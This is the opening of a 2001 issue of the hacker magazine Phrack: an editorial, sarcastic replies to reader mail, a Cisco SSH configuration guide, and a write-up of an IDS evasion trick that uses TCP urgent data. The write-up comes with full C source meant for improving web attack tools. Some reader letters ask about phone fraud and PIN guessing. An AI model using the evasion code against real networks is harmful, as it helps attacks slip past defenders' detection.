........... ......
a;:045555558899110::a .;;;77777777;;o
";8" """'''''''""""` ''' ^77;'
";8" ^7;'
";8" __ 7!;'
";8"..aaa;;9999;;;aa.. 76;
"823p" '''''' 2"^ 52;
;8^ ";;^ '23;
;P;^ '6^ '57;
;8;^ '6^ ;&'
"@;^ ";;8^ .. ,,,_ ...._ ... . .
'@;^ ..... 2^" ^G7; HH; ;R3!1@#' a;AAAAa; .###;. !@ .!"
!# -+;44319110100~" !#' HH: ;1@ !2; a;^ a; ;3 .!@ !;^
!@"` '' '''''' @#$@!!HH; '1!' !@; a;^ 8; ;' ;1; #!
!@^ "13 "1^ ;!@#57RR: a;26088; ;' ;!@!!!'
!@^ "53! "!2 '!@ ^R; a; ;; '# ;!1''!@^
!@^ '11 '11 !@ ^; '' '' '33;; '1' !;
!^ '' ; ' ' ' ; '' ! !'
'
; . ' ' . ; ' : '
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x01 of 0x12
...and the Jedi Knight replied with a strong tongue:
"There is no gap between phrack56 and phrack57" ...and swang his
hand from the left to the right with a slight hope to bluff
the audience...
Good News Everyone:
P H R A C K I S B A C K !@#$!@#$!@#$
|=[ Table of Contents ]=-------------------------------------------------=|
0x01 Introduction Phrack Staff 0x07 kb
0x02 Loopback Phrack Staff 0x09 kb
0x03 Linenoise Phrack Staff 0x1e kb
0x04 Editorial policy Phrack Staff 0x07 kb
0x05 IA64 shellcode papasutra 0x15 kb
0x06 Taranis read your e-mail jwilkins 0x0a kb
0x07 ICMP based OS fingerprinting Fyodor Yarochkin & Ofir Arkin 0x12 kb
0x08 Vudo malloc tricks maxx 0x76 kb
0x09 Once upon a free() anonymous 0x22 kb
0x0a Against the System: Rise of the Robots Michal Zalewski 0x0a kb
0x0b Holistic approaches to attack detection sasha 0x12 kb
0x0c NIDS on mass parallel processing architecture storm 0x17 kb
0x0d Hang on, snoopy stealth 0x14 kb
0x0e Architecture spanning shellcode eugene 0x17 kb
0x0f Writing ia32 alphanumeric shellcodes rix 0x56 kb
0x10 Cupass and the netuserchangepassword problem D.Holiday 0x14 kb
0x11 Phrack World News Phrack Staff 0x06 kb
0x12 Phrack magazine extraction utility Phrack Staff 0x15 kb
|=-----------------------------------------------------------------------=|
On this iteration of Phrack magazine there is no single editor. The
editorial duties are being carried out by a 'Phrack Staff' collective.
At the moment we are going to remain anonymous and not publish our
nicks or our names in the magazine. The reason we are staying anonymous
is to ensure that people know that we are working on Phrack for all the
right reasons. And also of course because privacy is valuable.
Let's talk about privacy for a moment.
It seems to me that lately there is no motive more attractive than
becomming a celebrities. Ironically, celebrities have a power that will
grow more compelling and yet less meaningful in the years to come. Why?
Because becomming a celebrity will be easier to achieve. The drive to
increase connectivity is ultimately about the access of everyone to
everyone and everyone to everything. A personal home page on the web -
self-created celebrity - is only the most primitive example of what lies
ahead, but is an instructive example all the same. Home pages are self-
validation, and self-validation lies at the very center of the drive
towards the desire to become a celebrity.
Like precious metals, society has always valued what is scarce. As privacy
becomes rarer and rarer, it will assume greater and greater worth.
Switching subjects, there is another point that I would like to make. The
field of information security is vast. It is vast because it concerns not
just technology, but also sociology, criminology, economics (think of risk
modeling), and many other associated subjects. Even within the technology
side of information security, there are many different areas of study -
vulnerability assessment, intrusion detection, public key infrastructure,
operating system security, and so on. The point I am working towards is
that the world does not being and end with shellcode and it certainly
does not begin and end with exploits.
You owe it to yourself to investigate what it is about information security
that makes it the most interesting and challenging field of study within
information technology today.
It's a big world out there. Read books. Experiment. Don't just do. Be.
Enjoy the magazine!
Phrack Magazine Volume 10 Number 57, August 11, 2001. ISSN 1068-1035
Contents Copyright (c) 2001 Phrack Magazine. All Rights Reserved.
Nothing may be reproduced in whole or in part without written permission
from the editors.
Phrack Magazine is made available to the public, as often as possible, free
of charge.
|=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=|
Editors: phrackstaff@phrack.org
Submissions: phrackstaff@phrack.org
Commentary: loopback@phrack.org
Phrack World News: disorder@phrack.org
|=-----------------------------------------------------------------------=|
Submissions may be encrypted with the following PGP key:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.5 (GNU/Linux)
Comment: For info see http://www.gnupg.org
mQGiBDr0dzURBAC0nXC8TlrGLzTrXBcOq0NP7V3TKp/HUXghV1uhsJLzgXL1N2ad
XF7yKFoP0RyvC3O4SVhSjFtaJZgwczkkRwgpabOddk77fnCENPvl2n0pWmyZuSQa
fTEn+P8gmKEeyWXo3EDURgV5OM6m/zVvsQGxkP3/jjGES6eaELXRqqNM9wCgrzkS
c0a4bJ03ETjcQa8qp3XIuLsD/04nseebHrqgLHZ/1s1gF6wdRFYGlOYY1tvkcIU4
BRqgJZQu1DIauTEZiLBug+SdRyhJlYPhXWLXr3r7cq3TdxTD1DmM97V8CigA1H5Y
g7UB0L5ZygL2ezRxMNxyBxPNDRj3VY3niMg/DafqFs4PXSeL/N4/xU45UBeyk7La
QK2dA/4/FKBpUjXGB83s0omQ9sPHYquTiS51wze3SLpJs0jLnaIUmJ1ayBZqr0xT
0LPQp72swGcDb5xvaNzNl2rPRKQZyrsDDX8xZdXSw1SrS6xogt83RWS6gbMQ7/Hr
4AF917ElafjEp4wwd/rekD84RPumRmz4I02FN0xR5VV6K1rbILQkcGhyYWNrc3Rh
ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iF0EExECAB0FAjr0dzUFCThkCQAF
CwcKAwQDFQMCAxYCAQIXgAAKCRDT4MJPPu7c4etbAJ9P/6NeGwx/nyBBTVpMweCQ
6kFNkQCgnBLX1cmZ7DSg814YjZBFdLczcFS5Ag0EOvR3URAIAOumUGdn+NCs+Ue1
d1RDCNHg6I8GEeH5DElGWC8jSMor2DOgah31VEcoPgVmtEdL8ZD/tl97vxcEhntA
ttlELWVJV854kWxRMeCFbBS+fjcQpHCig5WjFzuOrdwBHlNZK2xWCpbV770eSPb/
+z9nosdP8WzmVnJ0JVoIc99JJf3d6YfJuscebB7xn6vJ3hZWM9kqMSyXaG1K3708
gSfhTr1n9Hs7nDfKMMQ73Svbe6J3kZJNdX0cqZJLHfeiiUrtf0ZCVG52AxfLaWfm
uPoIpZaJFzexJL/TL9gsRRvVdILd3SmVKtt2koaHNmUgFRVttol3bF8VTiGWb2uX
S6WjbwcAAwUH/R9Fsk1Vf04qnzZ21DTsjwlA76cOje0Tme1VIYfwE33f3SkFo89+
jYPFCMNObvSs/JVrstzzZr/c36a4rwi93Mxn7Tg5iT2QEBdDomLb3plpbF3r3OF3
HcuXYuzNUubiA5J2nf3Rf0DdUVwWmOx8gnqF/QUrKRO+fzomT/jVaAYkVovMBE9o
csA6t6/vF+SQ5dxPq+6lTJzFY5aK90p1TGHA+2K18yCkcivPEo7b/qu+n9vCOYHM
WM+cp49bcUMExRkL934O1KUhHxbL96yBRWRzrJaC7ybGjC9hFAQ/wuXzaHOXEHd4
PqrTZI/rvnRcVJ1CXVt9UfsLXUROaEAtAOOITAQYEQIADAUCOvR3UQUJOGQJAAAK
CRDT4MJPPu7c4eksAJ9w/y+n6CHeqeUgKCYZ+EKvNWC30gCfYblC4sGwllhPufgT
gPaxlvAXKrM=
=p9fB
-----END PGP PUBLIC KEY BLOCK-----
phrack:~# head -20 /usr/include/std-disclaimer.h
/*
* All information in Phrack Magazine is, to the best of the ability of
* the editors and contributors, truthful and accurate. When possible,
* all facts are checked, all code is compiled. However, we are not
* omniscient (hell, we don't even get paid). It is entirely possible
* something contained within this publication is incorrect in some way.
* If this is the case, please drop us some email so that we can correct
* it in a future issue.
*
*
* Also, keep in mind that Phrack Magazine accepts no responsibility for
* the entirely stupid (or illegal) things people may do with the
* information contained herein. Phrack is a compendium of knowledge,
* wisdom, wit, and sass. We neither advocate, condone nor participate
* in any sort of illicit behavior. But we will sit back and watch.
*
*
* Lastly, it bears mentioning that the opinions that may be expressed in
* the articles of Phrack Magazine are intellectual property of their
* authors.
* These opinions do not necessarily represent those of the Phrack Staff.
*/
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x02 of 0x12
|=------------------------=[ L O O P B A C K ]=--------------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ phrackstaff ]=----------------------------=|
This month we present a loopback using some of the comments posted to the
phrack.org web site. Enjoy!
|=[ 0x00 ]=--------------------------------------------------------------=|
hey, i used to read phrack back in like 95 i thought it was dead but i
checked and i cant believe there is a phrack 56, i take my hat off to you,
hey i was just wondering when 57 might come out ?
[ Phrack57 is out NOW.... ]
|=[ 0x01 ]=--------------------------------------------------------------=|
From: "Terry Ferguson" <icebox@shocking.com>
To: <phrackstaff@phrack.org>
X-Mailer: Microsoft Outlook Express 4.72.3110.1
Subject: [Phrackstaff] i am mekos
i am mekos hi
when hack help plz.
[ UngaUnga BugaBuga.
Ups, we just disclosed the senders name, mailer and email address. ]
|=[ 0x02 ]=---------------------------------------------------------------|
I'm a french coder and i'm leading a project to
translate phrack articles in French. I'm writing to
you for making this translation project something
like an "official" phrack translation project.
Note : If you want to see translated article you can
reach them at http://rtc.fr.st/proj/phrack.php or
http://rtc.fr.st/proj/phrack/.
Slash
[ there is an italian maxim that says "traduttore, traditore"
which means "translators are traitors" and the meaning
is lost after translation.
french people should learn english. ]
|=[ 0x03 ]=--------------------------------------------------------------=|
i want to recomendeted to pharck can you help me
[ ??? ]
|=[ 0x04 ]=--------------------------------------------------------------=|
coma@irrelevant 2001-07-26
Introduction phrack 56-1
The old anarchy with turtles/astral projection/home drug lab Phrack
articles make me want to rig some kind of testicle-electrocution apparatus
-- perhaps through the parallel port. I could make a winamp plugin so that
I get a painful shock to the balls every time the bass hits.
[ Obviously the twisted brain-wrong of a one-off man-mental. ]
|=[ 0x05 ]=--------------------------------------------------------------=|
tweeterbeeter@beehive.honeycomb.org 2001-08-01
Phrack Loopback phrack 56-2
I eat meat, I tickle your feet, I ask for slashdot news it's neet,
but today i saw an fbi bird, it tried to eat my honey word.
Red worm ran, into the can, of win doze boxes, then sent some spam,
to see if they could pester the man, who tries to run our nationalized
land.
Read the posts, chase the ghosts, who penetrate our servers and hosts,
and you will come to learn to be, a non-elite computer hacker like me.
if you need help, send me mail, I will gladly flame your tail,
only after youve been inseminated, will my info be disseminated.
That is right, I make light, cuz i dont get none night to night,
but if a girl will come and get me laid, I'll make more funny for all to
read. :)
[ Someone phone MixMaster Mike and tell him his services are no longer
required! ]
|=[ 0x06 ]=--------------------------------------------------------------=|
Hey,
My name is Roei but I am known in the web as Cosmo-OOC. I am a moderate
hacker, not a great one yet not a lamer or a trojan user.
I have written numeros guides and articles concerning hacking and computers.
Do you accept those from new users ?
[ http://www.phrack.org/howto ]
|=[ 0x07 ]=--------------------------------------------------------------=|
bargdiggler@hotmail.com 2001-07-31
Mobile Telephone Communications phrack 5-9
how can I get my cellular phone back on without paying for it
or how or where can i get a phone,nokia or nextel with unlimited everything
for dirt cheap or free
[ I'm not entirely sure how, but as a substitute try rigging up two cupz
with a tight bit of string in-between them. ]
|=[ 0x08 ]=--------------------------------------------------------------=|
From: xxxxx007uk@another.com
To: phrackstaff@phrack.org
Could you please send me the address for the Samba team's FTP Server
thankyou,
[ yes, they have a hotline. Just call (888) 282-0870 (tollfree @#$)
or surf on their homepage: http://3483937961/ ]
|=[ 0x09 ]=--------------------------------------------------------------=|
papaskin@papaskin.com 2001-07-27
Project Loki: ICMP Tunneling phrack 49-6
I can't believe how old this article is!! Here it is July of 2001 and I'm
tracking this Loki down myself. I'm in Network IDS and very new to it, and
being told that this Loki icmp packet I see hitting our primary dns server
is "normal network traffic". Only problem is that on the
outgoing side of the dns server, it's throwing port probes and packets like
there's not tommorrow. I'm thinking this has been converted to use UDP
packets and even port 53 to mask itself as actual usable traffic. I guess
it's time for me to pull the packets down and open each one. I pray to
find Loki active actually in the raw packet data so I can say "ha
ha" to my sys admins.
[ You're *praying* to find Loki on your primary DNS server? And here'z a
crazy thought: maybe that "suspicious" DNS traffic is... DNS traffic. ]
|=[ 0x0a ]=--------------------------------------------------------------=|
prepressnews@hotmail.com 2001-07-26
Screwing Over Your Local McDonald's phrack 45-19
This is funny as hell. Any ideas on how to get some of Charlie X's other
old articles?
[ I hear they have the Internet on computers now. You could try using
that. ]
|=[ 0x0b ]=--------------------------------------------------------------=|
aristides_15@lycos.com 2001-07-26
The Legion of Doom & The Occult phrack 36-6
Interesting...
Is this some sort of joke? I'm mostly open minded, but this seems
unreal.
-/|ristides
[ Do you think we'd joke about something like that? Actually, everything
you read in Phrack is 100% false, including this sentence. ]
|=[ 0x0c ]=--------------------------------------------------------------=|
baniasadi@37.com 2001-07-23
Hacking Voice Mail Systems phrack 11-4
rhgfdgf
cjfd
fd
fgvjbf
vmvc
[ How MANY times do I have to tell you? Take OFF the ball-gag before you
email us, you crazy fucking fetishist. ]
|=[ 0x0d ]=--------------------------------------------------------------=|
antigovernment@louish.com 2001-07-11
Phrack World News XXIII Part 2 phrack 23-12
Man phrack magizines are old. They are fucking out dated, you need to find
new dialups for banks and stuff. Stuff putting up your old usless files and
make new ones.
[ Unfortunately, I broke the Phrack time-machine, otherwise I would
certainly go forward in time and bring back some articles from the
future which wouldn't be "out dated" when we publish them. Dorq. ]
|=[ 0x0e ]=--------------------------------------------------------------=|
general_failure@operamail.com 2001-07-06
Introduction to PBX's phrack 3-9
Hey, was this really written in 1980's. Wow! I am reading it after 15
years.
General failure
[ Sorry to disappoint you, but just like the dinosaurs, Phrack is actually
an elaborate hoax - it's really only been around for about 15 minutes. ]
|=[ 0x0f ]=--------------------------------------------------------------=|
general_failure@operamail.com 2001-07-06
A Brief introduction to CCS7 phrack 51-15
pretty nice. but i would have preferred a more detailed one..
general failure
[ Must.. resist.. temptation.. to.. ridicule.. your.. nick.. ]
|=[ 0x10 ]=--------------------------------------------------------------=|
n.damus@caramail.com 2001-06-26
VisaNet Operations Part II phrack 46-16
credit card number
video sex
[ Iz that some sort of offer? I regrettably decline. ]
|=[ 0x11 ]=--------------------------------------------------------------=|
eyberg@umr.edu 2001-06-22
Phrack Loopback phrack 56-2
greets-
I want to congratulate you guys on kicking ass in the underground for
all these years.
[ Thankz, but we're actually pretty new to thiz. ]
As wise old eze (could have) said "motherfuck 2600,
motherfuck slashdot, motherfuck linux and let the real motha'fuckn' hackers
in!" eheh.. [wtf?] Anyway, I wanted you to know that your logic has
probably helped out the underground a hell load then just making fun of the
people (which you do and is very fucking funny).
[ I think you contradicted yourself there buddy. ]
I only wish your issues
would come out more often and every kid could read them as much as they
read their gpl'd slashdot/2600 "i 0wn j00z everything" fuqn' shit
articles. God, it'll be the day when the new generation of
"hackers" actually hack and not sit around mimicking your
tremendous journal (like b0g) or idle on irc all day and smurf anyone they
don't recognize.
[ I think that day already arrived years ago. ]
Once again keep up the good work and keep the scene
alive.
[ Cheerz. ]
-cyn0n
|=[ 0x12 ]=--------------------------------------------------------------=|
i love cox 2001-07-21
Knight Line I Part 3 phrack 32-12
fuck you !!!!!!putang ina niyo mga manchuchupa !!!!!!
[ So much anger for someone so young. Oh, and I think you meant to say
"cock", not "cox". ]
|=[ 0x13 ]=--------------------------------------------------------------=|
cyhotrex@yahoo.com 2001-07-18
Index phrack 6-1
teach me more!
ill apply it very well!!!
[ Sure thing. I'm programming my 'ultimate war machine' (tm) to come and
teach you everything you need to know. ]
|=[ 0x14 ]=--------------------------------------------------------------=|
vdehart@hvc.rr.com 2001-07-10
An Overview of Prepaid Calling Cards phrack 47-13
now would the best way to get pin be to goto the stores and try to sneek a
peek at the pins or can you call the company # and try to put in a PIN by
guessing numbers
whats the most effective method?
[ For you? Any of the ones you mention will be fine... ]
|=[ 0x15 ]=--------------------------------------------------------------=|
Tigerbyte@hotmail.com 2001-07-06
Introduction to PAM phrack 56-13
I am a novice. Is it necessary to read through all the Phrack philez or
where should I start
email a responce to TigerByte@hotmail.com.
[ Yes, it is absolutely necessary to begin reading Phrack at issue one,
article one, and continue up from there. ]
|=[ 0x16 ]=--------------------------------------------------------------=|
general_failure@operamail.com 2001-07-06
A Brief introduction to CCS7 phrack 51-15
pretty nice. but i would have preferred a more detailed one..
general failure
[ Must.. resist.. temptation.. to.. ridicule.. your.. nick.. ]
|=[ 0x17 ]=--------------------------------------------------------------=|
pepelic@hotmail.com 2001-07-01
The #hack FAQ (Part 1) phrack 47-5
Hello,I am Srdjan and have one question...
How do I crack car chip for security?That chip blocked car if are
stealen.
BEST REGARDS
[ Crack for security? Don't get everyone started on that debate... ]
|=[ 0x18 ]=--------------------------------------------------------------=|
n.damus@caramail.com 2001-06-26
VisaNet Operations Part II phrack 46-16
credit card number
video sex
[ Iz that some sort of offer? I regrettably decline. ]
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x03 of 0x12
|=-----------------------=[ L I N E N O I S E ]=-------------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ phrackstaff ]=----------------------------=|
|=[ 0x00 ]=--------------------------------------------------------------=|
In Phrack Volume 0xa Issue 0x38, the Linenoise section noted "Phrack
Linenoise is a hodge-podge" and that there was a "section in Linenoise
specifically for corrections and additions to previous articles".
So, we figured, what the fuck, let's publish an Addendum to the
"Building Bastion Routers Using Cisco IOS" article in Phrack Issue
55-10.
When we first wrote the article, which was over 2 years ago, support
for SSH in IOS was very new and only for the 7xxx and 12xxx series
routers and only in the latest 12.0 release trains. We made a
judgement call not to include it and indicated that it was imminent.
Well, everybody sent us e-mail saying "hey, IOS has SSH now". Thanks,
we know.
With the release of 12.1(1)T, support for SSH is now available in most
platforms. But, you might need to upgrade flash or DRAM in order to
use it. According to the Cisco web site:
"Before configuring the SSH server feature, you must have an IPsec
encryption software image...."
This basically means that you will probably need a minimum of 16MB of
flash and probably about 32MB of DRAM. And make sure you download the
3DES version so you don't get lulled into that false sense of security
single-key DES offers.
We should also note that IOS (and PIX for that matter) only support
SSH protocol version 1, at a time when most of the security community
is moving towards protocol version 2, now that free (e.g., OpenSSH)
implementations are available with protocol 2 support. The word we've
heard from Cisco is they have no plans for SSH protocol 2 support, and
recommend that you use IPsec instead.
One specific reason that Cisco should move towards protocol 2 support is
that there are known weaknesses in protocol 1. In fact, these weaknesses
have been known for more than a year and Cisco finally acknowledged that
their implementation was also vulnerable. They released a security
bulletin in June and the summary says it all:
"Three different Cisco product lines are susceptible to multiple
vulnerabilities in the Secure Shell (SSH) protocol. These issues are
inherent to the SSH protocol version 1.5, which is implemented in
several Cisco product lines."
So now let's get down to business and show you how to configure
it. The Cisco SSH implementation requires that the system have a
hostname and domain name, so we'll start with that:
1. Configure a hostname:
filter(config)#hostname filter
2. Configure a domain name:
filter(config)#ip domain-name home.net
3. Generate a host-specific RSA key. Use at least a 1024 bit key:
filter(config)#crypto key generate rsa
The name for the keys will be: filter.home.net
Choose the size of the key modulus in the range of 360 to 2048 for your
General Purpose Keys. Choosing a key modulus greater than 512 may take
a few minutes.
How many bits in the modulus [512]: 1024
Generating RSA keys ...
[OK]
Now, do the smart thing and make sure TELNET access is disabled and
then save the configuration:
filter(config)#line vty 0 15
filter(config-line)#transport input none
filter(config-line)#transport input ssh
filter(config-line)#exit
filter(config)#exit
filter#write
Building configuration...
[OK]
Also remember that you should put an access class on the VTY to have
fine-grained control over which hosts can connect to the SSH server.
4. You can now view the keys:
filter#sh crypto key mypubkey rsa
% Key pair was generated at: 14:41:28 PDT Jun 19 2000
Key name: filter.home.net
Usage: General Purpose Key
Key Data:
30819F30 0D06092A 864886F7 0D010101 05000381 8D003081 89028181 00B3F24F
F51367B1 70460C52 B06E5110 F41A5458 EEE6A0DD 840EB3D3 44A958E9 E3BDF6BE
72AE2994 9751FFCB 127A5D20 318D945B FBC25FC5 D9E3BFED 8B9BBCA9 EC3A61B8
2BD6EC35 EA83CC56 27D08248 935A3F2A 9B941580 E69CC8B9 0C2CFA98 AD6F04CC
19BB8522 8E5907EA 6B047EF1 E5DBBE1C E2187761 2E106479 A4297932
19020301 0001
% Key pair was generated at: 14:41:39 PDT Jun 19 2000
Key name: filter.home.net.server
Usage: Encryption Key
Key Data:
307C300D 06092A86 4886F70D 01010105 00036B00 30680261 00CF13EE C84A2FE3
5720A5AB 5DA7B84D 2232E8E7 2589EF53 170BA42D 2830B2E0 44C2E60F 43BC06F2
9D52BC92 774B8442 99CD0F8F 7073F5C8 97C9A91B 14284981 D23808C0 EF71522E
CBBC87AB C1CCE95A 9813B13D D52BC0D0 DC4567A3 BA4C9F24 A1020301 0001
The "General Purpose Key" is the host key and the "Encryption Key" is
likely the ephemeral server key, which appears to be 768 bits.
5. Configure the timeout and authentication retries if desired; the default
timeout is 120 seconds and the default number of authentication
retries is 3:
filter(config)#ip ssh time-out 60
filter(config)#ip ssh authentication-retries 2
6. Configure Authentication:
There are many different authentication schemes you can use including
RADIUS and TACACS. We'll cover just two of the simpler schemes here:
Option 1: Use the enable password:
filter(config)#aaa new-model
filter(config)#aaa authentication login default enable
Option 2: Local passwords:
filter(config)#aaa authentication login default local
filter(config)#username beldridg password 0 junos
filter(config)#service password-encryption
7. Test it out:
[beldridg@anchor tmp]$ ssh 192.168.3.9
beldridg@192.168.3.9's password:
Warning: Remote host denied X11 forwarding.
Warning: Remote host denied authentication agent forwarding.
filter>sh ssh
Connection Version Encryption State Username
0 1.5 3DES Session started beldridg
The warning messages are normal if your SSH client is configured to
request X11 and authentication agent forwarding. The reason for the
X11 forwarding message is that the system doesn't have any X clients,
and thus no need for X11 forwarding. It also doesn't support agent
forwarding since the Cisco implementation doesn't support RSA
authentication.
Unfortunately, there is no mechanism to configure the SSH server to
only accept the 3DES cipher. An enhancement request was filed with
Cisco over 1 year ago and we have not heard back on the status of our
request. This means that crippled SSH clients, or clients that request
DES, can still connect to the server:
[variablek@anchor variablek]$ ssh -c des 192.168.3.9
Warning: use of DES is strongly discouraged due to cryptographic weaknesses
variablek@192.168.3.9's password:
Warning: Remote host denied X11 forwarding.
Warning: Remote host denied authentication agent forwarding.
filter>sh ssh
Connection Version Encryption State Username
0 1.5 DES Session started variablek
8. SSH Client
With the release of 12.1(3)T, IOS also has an SSH client (supports
DES and 3DES) so you can initiate outbound connections with something
like the following:
filter#ssh -l beldridg 10.0.0.1
Newer IOS releases also provide the capability to copy configurations
to and from SSH servers via scp although we haven't played with that yet.
|=[ 0x01 ]=--------------------------------------------------------------=|
Subject: NIDS Evasion Method named "SeolMa"
Recently, a new unique TCP property has known by some simple tests. This
property was found when we put Urgent TCP data in the middle of normal
TCP data stream, and it could be used as a way to avoid the pattern
matching of most IDS, especially NIDS..
Firstly, it is worth focusing on the discordance of the interpretation
process between the way of the common Operating Systems and the definition
of RFC 1122. (We wouldn't cover the all of the TCP Urgent mode in this
paper).
The TCP/IP implementation, derived from the traditional BSD System,Urgent
pointer in TCP header point to the data right after the last Urgent data.
But RFC says the Urgent Pointer should point to the last Urgent data.
Above two different Urgent Pointer interpretation process make two
different result against below test.
The testing was executed about Apache and IIS, as an application,
on Solaris ( 7,8 ) , Linux 2.2.14, and Windows 2000.
Undoubtedly, from my point of view, these two application hasn't any
special definition for the communication of Urgent data.
(i.e., these would be handled in the same way of general TCP data.)
At first test, string packet "ABC" was sent in plain way, and then string
packet "DEF" was forwarded in Urgent mode.
Finally string packet "GHI" was delivered. Urgent Pointer value in "DEF"
tcp packet was "3" .
After sending these string, the final string composition on the host was
not the expected "ABCDEFGHI",
but the strange "ABCDEGHI", which was on the log of each application,
to our surprise.
The character "F" vanished.
During this first test above, the environment of Linux follows BSD format
for Urgent data processing.
Therefore, the setting was changed as the way on RFC 1122 for the next
test.
These setting could be referred at TCP MAN page.
ex) echo "1" > /proc/sys/net/ipv4/tcp_stdurg
At second test, Linux's Urgent Pointer interpretation process follows
RFC 1122.
The same procedure was applied to the packet transmission at second test.
Urgent Pointer value in "DEF" tcp packet was "3" also.
At this time, the result was not "ABCDEFGHI", but "ABCDEFHI", to our
another surprise.
The Character "G" was missed at this test.
>From the verification of the packet transmission using TCPDUMP and the
results above, we reach to the conclusion as the following.:
"1 Byte data, next to Urgent data, will be lost, when Urgent data and
normal data are combined."
Analyzing the first test, the value of Urgent Pointer was "3",
when "DEF" was sent in Urgent mode.
However, the actual Urgent Data count become "3 - 1 = 2", due to following
the BSD format, and only "DE" is regarded as Urgent data
and 1 Byte data "F", after "DE", is lost.
Similarly, the second test result could be explained.
The Urgent Pointer value of "DEF" tcp packet was 3.
In this case, the whole "DEF" become Urgent Data and following "GHI" is
normal data.
The character "G" is discarded, as 1 Byte data following Urgent Data,
in the same way.
It is significant that BSD processing is applied to all the default
processings of the Operating Systems in these tests.
Now, by using this feature, NIDS could be easily deceived because it has no
consideration for this.
Assume one would like to request "GET /test-cgi" URL.
Then divide "test-cgi", which could be the signature of NIDS, into at least
3 parts.
Let's split into "tes", "t-c" and "gi".
If "t-c" is sent as Urgent data, it is clear that the last 1 Byte "c" will
be
lost and the last combination will be "test-gi".
Thus one would add any 1 Byte at "t-c" for cheating.
Forward like "tes", "t-cX" and "gi" with same manner.
Then the final host's Apache or IIS will recognize as "test-cgi", but the
result of the composition in NIDS will be "test-cXgi" without consideration
of this. It is no wonder that one could avoid NIDS pattern matching through
this.
This is not managed even on Snort, Open-Source.
Commercial NIDS is also blind for this.
For the worse, the OS like Linux 2.2.14 version shows different result by
the speed of transmission, when Urgent data is sent more than three times.
This would deteriorate the protecting way of NIDS.
That is, just the prediction of 1 Byte loss wouldn't be solution.
For Example, sending "ab" in normal, "cd" in Urgent mode, "ef" in normal,
"gh" also in Urgent mode, "ij" in normal, and final "kl" in Urgent mode,
would result in "abcefgijk" by the previous theory on this paper.
However, actual outcome is "abcdefghijk" and the final Urgent data would
follow the previous property.
For the all Urgent data's compliance of previous property, each transmission
of data needs sleep in betweens.
For more details, following "seolma.c" source could be referred.
The following source will show the simple concept of that.
I gave "SeolMa" as a name of this method.
Acknowledgement: Thanks to other RealAttack Team(www.realattack.com)
members
Yoon , Young ( yoon0258@www.a3sc.co.kr )
Oh, Jae Yong (syndcate@orgio.net )
Yoon, Young Min (scipio21@yahoo.co.kr)
|=[ SeolMa.c ]=----------------------------------------------------------=|
/* This is a simple source code for just test.
You can improve your exploit source by observing it
Compiled and Tested on Linux 2.2.X
It works aginst most Apache , IIS well .
Improve your web-cgi scan, attack tool
Written by : YoungJun Ko, ohojang@realattack.com
Sungjun Ko, Minsook Ko
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#define TCP_PORT 80
#define SOL_TCP 6
#define TCP_NODELAY 1
#define TARGET_IP "1.2.3.4"
/* counter < NIDS's Signature length - 1
For example, Against "test-cgi "
should counter < 7 */
int counter=0;
/* writen() is important point in this source code...
I adjust Stevens's code */
int writen(fd, ptr, nbytes ,sockfd,origin)
register int fd;
register char *ptr;
register int nbytes;
int sockfd;
char *origin;
{
int nleft, nwritten ;
int i, k;
char urgent[2];
int done =0;
int all =0;
nleft= nbytes;
while( nleft > 0 ) {
nwritten = write(fd , ptr, counter );
if ( nwritten <= 0 )
{
printf("Write Error \n" );
return (nwritten);
}
nleft -= nwritten ;
ptr += nwritten;
all += nwritten;
/* For some Linux, we must sleep . */
sleep(2);
/* 4 times insertion is enough for IDS evasion in simple cases */
if ( done != 4 )
{
for (k=1 ; k <=1 ; k++ )
{
urgent[0]= *ptr;
urgent[1]= 'X';
urgent[2]= '\0';
i = send( fd, urgent , strlen(urgent), MSG_OOB ) ;
printf("send result is %d\n" , i );
}
done +=1;
ptr += 1;
}
}
return(nbytes - nleft );
}
int
main(int argc, char *argv[])
{
int sockfd;
int i,j,k,sendbuff;
socklen_t optlen;
struct sockaddr_in serv_addr;
char buffer[2048];
char recvbuffer[2048];
bzero( (char *)&serv_addr , sizeof(serv_addr) );
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr(TARGET_IP );
serv_addr.sin_port = htons ( TCP_PORT );
counter = atoi(argv[2]);
if ( counter == 0 )
{
printf("You must input counter value \n" );
exit(-1) ;
}
if ( (sockfd = socket( AF_INET , SOCK_STREAM , 0 )) < 0 )
{
printf("Error socket \n");
exit(-1);
}
sendbuff = 1;
optlen = sizeof(sendbuff );
i= setsockopt( sockfd,
SOL_TCP,
TCP_NODELAY,
(char *)&sendbuff,
optlen);
printf("setsockopt TCP_NODELAY value %d\n" , i );
if ( connect (sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr))<0)
{
printf("Connect Failed \n");
exit(-1);
}
/* make a such file contains "GET /test-cgi /HTTP 1.0\n\n" */
i= open(argv[1], O_RDONLY );
j=read ( i, buffer , sizeof(buffer));
printf(" Read Buffer size is %d\n", j );
k= writen( sockfd , buffer, j, sockfd, buffer);
printf("I write on socket %d bytes \n", k );
sleep(1);
/*
* I use just simple read() ... Usually it make error ,
* But don't care about it
* Just observe your web server log. ( access_log , ... )
*/
k = read ( sockfd, recvbuffer , sizeof(recvbuffer) );
printf(" I Read on socket %d bytes\n", k );
printf("%s\n", recvbuffer );
return 0;
}
|=[ 0x02 ]=--------------------------------------------------------------=|
The Telecommunications Fraud Prevention Committee (TFPC)
written by nemesystm, member of the dhc.
http://dhcorp.cjb.net : neme-dhc@hushmail.com
[introduction]
In this article I will talk about the TFPC and what this committee
actually does. I will take an issue that was raised during a meeting of
the TFPC, explain its contents and what is going to happen in the (near)
future to clarify exactly what the TFPC's activities are.
I have added some miscellaneous information like a contact address and
other Anti fraud initiatives in case you want to write to the TFPC or if
you want to look into other similar initiatives.
